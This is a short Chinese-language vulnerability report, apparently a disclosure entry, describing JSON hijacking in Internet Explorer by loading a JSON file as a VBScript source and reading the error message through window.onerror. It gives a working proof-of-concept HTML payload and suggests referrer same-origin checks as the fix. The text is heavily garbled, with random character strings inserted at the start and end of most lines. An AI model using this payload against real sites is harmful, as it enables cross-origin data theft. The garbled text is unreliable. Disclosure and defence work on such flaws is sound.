简要描述:
' I- s, ~* B" ]; ?7 f0 B7 x; J% ?# P
由于某些资源容器对数据处理不当导致json劫持漏洞.' e% ~$ R6 J# d+ L$ ~8 N
详细说明:
! O7 G! B. g& a0 ~' L1 Y由于ie支持vbscript,所以script元素可以指定成vbscript语言:
( O0 \. Z# a5 v, _<script language=vbscript></script>
, z8 W7 J& l, c
o" h2 \4 p+ C0 p6 Q; q# x当但我们指定的是一个js格式的文件是将会发现一个异常,这使我们通过捕获这个异常的信息来获得部分json数据.0 W U' t5 Q$ I5 m' R
漏洞证明:
& x5 u n' N6 [4 D! D X<script>
: t5 D5 P8 d% q4 nwindow.onerror=function(_){
3 x" d: N5 d. v: _ m! y1 i7 Ualert(_)
2 R) V- G* V/ b) o/ m}
$ i" m6 v, ?# Y) j" U1 l</script>
0 L! {/ }4 ]" x<script language=vbscript src=1.json></script>
" D9 d4 B2 N+ M
/ D! }6 D/ Q: ]$ G& V4 p5 @9 h
7 c: f7 f. v" m% a1.json:
7 W4 B j6 W+ x: H9 {4 K4 s[{"name":"sogili","age":19}]: J- x7 d4 [* l" q
修复方案:: H; D* _7 B* ^9 q# ]
网站业务对于这个问题可以通过验证referrer是否为同源来防御 |